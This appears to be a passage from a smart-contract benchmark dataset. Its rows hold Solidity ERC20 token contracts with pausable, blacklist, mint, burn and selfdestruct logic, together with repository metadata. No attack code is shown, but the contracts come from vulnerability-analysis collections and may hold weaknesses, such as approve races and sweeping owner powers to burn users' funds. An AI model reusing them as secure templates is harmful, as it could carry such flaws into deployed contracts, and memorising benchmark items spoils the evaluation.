event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
// --------------------------------------------------------------------------------------
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
// File: contracts/ownership/MultiOwned.sol
// @title A contract for managing multiple platform owners
// @dev Multi owned platforms store owner as an address. Each owner has full privileges
// @author Peter Phillips, MyBit Foundation
contract MultiOwned {
Database public database;
Events public events;
// @notice constructor: initiate database instance
constructor(address _database, address _events) public {
database = Database(_database);
events = Events(_events);
}
// @notice Transfer ownership to to a new owner
function changeOwner(address _newOwner)
public
onlyOwner {
require(_newOwner != address(0), "Cannnot add null address");
database.setBool(keccak256(abi.encodePacked("owner", _newOwner)), true);
database.setBool(keccak256(abi.encodePacked("owner", msg.sender)), false);
events.transaction('Ownership transferred', msg.sender, _newOwner, 0, address(0));
}
function addOwner(address _newOwner)
public
onlyOwner {
require(_newOwner != address(0), "Cannnot add null address");
database.setBool(keccak256(abi.encodePacked("owner", _newOwner)), true);
events.transaction('Owner added', msg.sender, _newOwner, 0, address(0));
}
function removeOwner(address _currentOwner)
public
onlyOwner {
require(_currentOwner != msg.sender, "Owner cannot remove themselves");
database.setBool(keccak256(abi.encodePacked("owner", _currentOwner)), false);
events.transaction('Owner removed', msg.sender, _currentOwner, 0, address(0));
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('MultiOwned destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
// @notice reverts if caller is not the owner
modifier onlyOwner() {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) == true);
_;
}
//event OwnershipTransferred(address indexed owner, address indexed pendingOwner);
}
| 338,875 | 151 |
3378c16a4389ddfbf488e61f0053f2fe15cd4088bc4ed2fb1cae514225ce6080
| 12,822 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0ef04abbadf8e035cfaebc7821ee68036ef72b85.sol
| 2,826 | 12,495 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// @Name SafeMath
// @Desc Math operations with safety checks that throw on error
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// @title ERC20Basic
// @dev Simpler version of ERC20 interface
// See https://github.com/ethereum/EIPs/issues/179
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// ----------------------------------------------------------------------------
// @title ERC20 interface
// @dev See https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// @title Basic token
// @dev Basic version of StandardToken, with no allowances.
// ----------------------------------------------------------------------------
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// ----------------------------------------------------------------------------
// @title Ownable
// ----------------------------------------------------------------------------
contract Ownable {
address public owner;
address public operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() public {
owner = msg.sender;
operator = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _; }
modifier onlyOwnerOrOperator() { require(msg.sender == owner || msg.sender == operator); _; }
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function transferOperator(address _newOperator) external onlyOwner {
require(_newOperator != address(0));
emit OperatorTransferred(operator, _newOperator);
operator = _newOperator;
}
}
// ----------------------------------------------------------------------------
// @title BlackList
// ----------------------------------------------------------------------------
contract BlackList is Ownable {
event Lock(address indexed LockedAddress);
event Unlock(address indexed UnLockedAddress);
mapping(address => bool) public blackList;
modifier CheckBlackList { require(blackList[msg.sender] != true); _; }
function SetLockAddress(address _lockAddress) external onlyOwnerOrOperator returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
require(blackList[_lockAddress] != true);
blackList[_lockAddress] = true;
emit Lock(_lockAddress);
return true;
}
function UnLockAddress(address _unlockAddress) external onlyOwner returns (bool) {
require(blackList[_unlockAddress] != false);
blackList[_unlockAddress] = false;
emit Unlock(_unlockAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// ----------------------------------------------------------------------------
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() external onlyOwnerOrOperator whenNotPaused {
paused = true;
emit Pause();
}
function unpause() external onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// @title Standard ERC20 token
// @dev Implementation of the basic standard token.
// https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// ----------------------------------------------------------------------------
// @title MultiTransfer Token
// @dev Only Admin (for Airdrop Event)
// ----------------------------------------------------------------------------
contract MultiTransferToken is StandardToken, Ownable {
function MultiTransfer(address[] _to, uint256[] _amount) onlyOwner public returns (bool) {
require(_to.length == _amount.length);
uint16 ui;
uint256 amountSum = 0;
for (ui = 0; ui < _to.length; ui++) {
require(_to[ui] != address(0));
amountSum = amountSum.add(_amount[ui]);
}
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount[ui]);
balances[_to[ui]] = balances[_to[ui]].add(_amount[ui]);
emit Transfer(msg.sender, _to[ui], _amount[ui]);
}
return true;
}
function Airdrop(address[] _to, uint256 _amount) onlyOwner public returns (bool) {
uint16 ui;
uint256 amountSum;
amountSum = _amount.mul(_to.length);
require(amountSum <= balances[msg.sender]);
for (ui = 0; ui < _to.length; ui++) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to[ui]] = balances[_to[ui]].add(_amount);
emit Transfer(msg.sender, _to[ui], _amount);
}
return true;
}
}
// ----------------------------------------------------------------------------
// @title Burnable Token
// @dev Token that can be irreversibly burned (destroyed).
// ----------------------------------------------------------------------------
contract BurnableToken is StandardToken, Ownable {
event BurnAdminAmount(address indexed burner, uint256 value);
function burnAdminAmount(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit BurnAdminAmount(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
// ----------------------------------------------------------------------------
// @title Mintable token
// @dev Simple ERC20 Token example, with mintable token creation
// ----------------------------------------------------------------------------
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// ----------------------------------------------------------------------------
// @title Pausable token
// @dev StandardToken modified with pausable transfers.
// ----------------------------------------------------------------------------
contract PausableToken is StandardToken, Pausable, BlackList {
function transfer(address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused CheckBlackList returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused CheckBlackList returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
// @Project Smart Global Token (SG)
// ----------------------------------------------------------------------------
contract SmartGlobalToken is PausableToken, MintableToken, BurnableToken, MultiTransferToken {
string public name = "Smart Global";
string public symbol = "SG";
uint256 public decimals = 18;
}
| 213,457 | 152 |
e1f60c837ea171054e311a0b02a551d3073bf6605cf02d147823b82c5ca51b63
| 25,214 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_95.sol
| 4,153 | 16,684 |
pragma solidity ^0.5.15;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract UpgradedStandardToken is ERC20 {
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
uint public _totalSupply;
function transferByLegacy(address from, address to, uint value) public returns (bool);
function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool);
function approveByLegacy(address from, address spender, uint value) public returns (bool);
function increaseApprovalByLegacy(address from, address spender, uint addedValue) public returns (bool);
function decreaseApprovalByLegacy(address from, address spender, uint subtractedValue) public returns (bool);
}
contract BlackList is Ownable {
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
event AddedBlackList(address indexed _user);
event RemovedBlackList(address indexed _user);
}
contract StandardTokenWithFees is ERC20, Ownable {
// Additional variables for use if transaction fees ever became necessary
uint256 public basisPointsRate = 0;
uint256 public maximumFee = 0;
uint256 constant MAX_SETTABLE_BASIS_POINTS = 20;
uint256 constant MAX_SETTABLE_FEE = 50;
string public name;
string public symbol;
uint8 public decimals;
uint public constant MAX_UINT = 2**256 - 1;
function calcFee(uint _value) internal view returns (uint) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
return fee;
}
function transfer(address _to, uint _value) public returns (bool) {
uint fee = calcFee(_value);
uint sendAmount = _value.sub(fee);
super.transfer(_to, sendAmount);
if (fee > 0) {
super.transfer(owner(), fee);
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balanceOf(_from));
require(_value <= allowance(_from, msg.sender));
uint fee = calcFee(_value);
uint sendAmount = _value.sub(fee);
_transfer(_from, _to, sendAmount);
if (allowance(_from, msg.sender) < MAX_UINT) {
_approve(_from, msg.sender, allowance(_from, msg.sender).sub(_value));
}
if (fee > 0) {
_transfer(_from, owner(), fee);
}
return true;
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < MAX_SETTABLE_BASIS_POINTS);
require(newMaxFee < MAX_SETTABLE_FEE);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(uint(10)**decimals);
emit Params(basisPointsRate, maximumFee);
}
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
contract ATMToken is Pausable, StandardTokenWithFees, BlackList {
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor (uint _initialSupply, string memory _name, string memory _symbol, uint8 _decimals) public {
_mint(owner(), _initialSupply);
name = _name;
symbol = _symbol;
decimals = _decimals;
deprecated = false;
emit Issue(_initialSupply);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public view returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Allow checks of balance at time of deprecation
function oldBalanceOf(address who) public view returns (uint) {
if (deprecated) {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public whenNotPaused returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).increaseApprovalByLegacy(msg.sender, _spender, _addedValue);
} else {
return super.increaseAllowance(_spender, _addedValue);
}
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).decreaseApprovalByLegacy(msg.sender, _spender, _subtractedValue);
} else {
return super.decreaseAllowance(_spender, _subtractedValue);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public view returns (uint remaining) {
if (deprecated) {
return IERC20(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
require(_upgradedAddress != address(0));
deprecated = true;
upgradedAddress = _upgradedAddress;
emit Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public view returns (uint) {
if (deprecated) {
return IERC20(upgradedAddress).totalSupply();
} else {
return super.totalSupply();
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(!deprecated);
_mint(owner(), amount);
emit Issue(amount);
}
// Issue a new amount of tokens
// these tokens are deposited into the account address
//
// @param _account Address to be issued
// @param _amount Number of tokens to be issued
function issueToAccount(address account, uint amount) public onlyOwner {
require(!deprecated);
_mint(account, amount);
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(!deprecated);
_burn(owner(), amount);
emit Redeem(amount);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
_burn(_blackListedUser, dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address indexed _blackListedUser, uint _balance);
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
}
| 282,997 | 153 |
a2832f24a2c94dcc3dbc86ea8d184e5d255c1442717ea1e110b86086b6cdda0d
| 16,529 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xe265cd62c7cb8f20f31789f7f12edb850caca294.sol
| 4,212 | 16,225 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from, uint256 _amount, address _token, bytes _data) public;
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract TokenAbout is Controlled {
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address[] tokens) onlyController public {
require(tokens.length <= 100, "tokens.length too long");
address _token;
uint256 balance;
ERC20Token token;
for(uint256 i; i<tokens.length; i++){
_token = tokens[i];
if (_token == 0x0) {
balance = address(this).balance;
if(balance > 0){
msg.sender.transfer(balance);
}
}else{
token = ERC20Token(_token);
balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
emit ClaimedTokens(_token, msg.sender, balance);
}
}
}
}
contract TokenController {
function proxyPayment(address _owner) payable public returns(bool);
function onTransfer(address _from, address _to, uint _amount) public view returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool);
}
contract ERC20Token {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name;
uint8 public decimals = 18;
string public symbol;
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
}
contract Token is TokenI, TokenAbout {
using SafeMath for uint256;
address public owner;
string public techProvider = "WeYii Tech(https://weyii.co)";
mapping (uint8 => uint256[]) public freezeOf;
uint8 currUnlockStep;
uint256 currUnlockSeq;
mapping (uint8 => bool) public stepUnlockInfo;
mapping (address => uint256) public freezeOfUser;
mapping (uint8 => uint256) public stepLockend;
bool public transfersEnabled = true;
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address initialOwner) public {
name = tokenName;
symbol = tokenSymbol;
owner = initialOwner;
totalSupply = initialSupply*uint256(10)**decimals;
balanceOf[owner] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerOrController(){
require(msg.sender == owner || msg.sender == controller);
_;
}
modifier transable(){
require(transfersEnabled);
_;
}
modifier ownerOrUser(address user){
require(msg.sender == owner || msg.sender == user);
_;
}
modifier userOrController(address user){
require(msg.sender == user || msg.sender == owner || msg.sender == controller);
_;
}
modifier realUser(address user){
require(user != 0x0);
_;
}
modifier moreThanZero(uint256 _value){
require(_value > 0);
_;
}
modifier userEnough(address _user, uint256 _amount) {
require(balanceOf[_user] >= _amount);
_;
}
function addLockStep(uint8 _step, uint _endTime) onlyController external returns(bool) {
stepLockend[_step] = _endTime;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) transable public returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function unApprove(address _spender, uint256 _value) moreThanZero(_value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].sub(_value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) transable public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender, _amount, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) transable public returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) transable public returns (bool success, uint256 amount){
require(_to.length == _value.length && _to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 balanceOfSender = balanceOf[msg.sender];
uint256 len = _to.length;
for(uint256 j; j<len; j++){
require(_value[j] <= balanceOfSender);
amount = amount.add(_value[j]);
}
require(balanceOfSender > amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
uint256 _valueI;
for(uint256 i; i<len; i++){
_toI = _to[i];
_valueI = _value[i];
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
emit Transfer(msg.sender, _toI, _valueI);
}
return (true, amount);
}
function transferMultiSameValue(address[] _to, uint256 _value) transable public returns (bool){
require(_to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 len = _to.length;
uint256 amount = _value.mul(len);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
for(uint256 i; i<len; i++){
_toI = _to[i];
balanceOf[_toI] = balanceOf[_toI].add(_value);
emit Transfer(msg.sender, _toI, _value);
}
return true;
}
function freeze(address _user, uint256[] _value, uint8[] _step) onlyController public returns (bool success) {
require(_value.length == _step.length, "length of value and step must be equal");
require(_value.length <= 100, "lock step should less or equal than 100");
